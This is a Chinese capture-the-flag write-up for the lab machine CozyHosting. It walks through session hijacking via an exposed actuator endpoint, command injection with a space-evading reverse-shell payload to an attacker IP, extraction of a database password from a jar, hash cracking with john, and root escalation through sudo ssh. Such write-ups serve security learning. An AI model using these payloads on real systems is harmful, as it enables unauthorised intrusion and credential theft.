一 信息搜集
开放了 22和80端口
sudo nmap -sS -sV -A 10.10.11.230
绑定hosts访问80端口
页面如图
进行目录爆破
dirsearch -u http://cozyhosting.htb
把有显示的目录去访问一下,在actuator/sessions ,发现一个用户的sessions,拿到这个session就可以绕过登陆
二 漏洞测试
访问login界面,直接点击右上角刷新,然后两次替换session就可以登陆了
两次替换成自己的session即可登陆成功
登陆后的界面,其他没什么地方可以利用,对下面两个字段抓包提交,发现username可以命令执行,下面就是反弹shell
反弹shell时,他会提示username字段不可以有空格,尝试各种方法,最后这样终于反弹成功了
IP换成自己即可
`bash${IFS}-i${IFS}>%26${IFS}/dev/tcp/10.10.14.42/4444%090>%261`
成功接受到shell,ls命令查看到有一个jar包
在靶机上开启web服务,然后将他下载下来
python3 -m http.server 8090
wget http://10.10.11.230/cloudhosting-0.0.1.jar
尝试对他反编译,jar反编译参考链接
IDEA反编译Jar包_idea怎么反编译jar包-CSDN博客
最后查找到一组数据库登陆的密码 postgres:Vg&nvzAQ7XxR
PostgreSQL数据库命令参考链接:https://www.cnblogs.com/echohye/p/17671650.html
对数据库进行连接
psql -U postgres -W -h localhost -d cozyhosting
查看到admin加密的密码对他进行爆破,将加密的密码保存到2.txt中然后进行爆破
john 2.txt --wordlist=/usr/share/wordlists/rockyou.txt
得到密码
尝试ssh登陆,但是登陆失败
转回来看账户组信息,发现没有admin用户 ,但是有一个josh用户,这也是靶场设计好了的,不然这个权限一般是看不到/etc/passed文件的
再次登陆显示登陆成功
拿到普通用户flag
sudo -l看一下有什么特殊权限
有,在网上搜索一下提权方法
参考连接 ssh | GTFOBins
这个网站非常好,有许多提取的方法
输入命令,提权成功,拿到root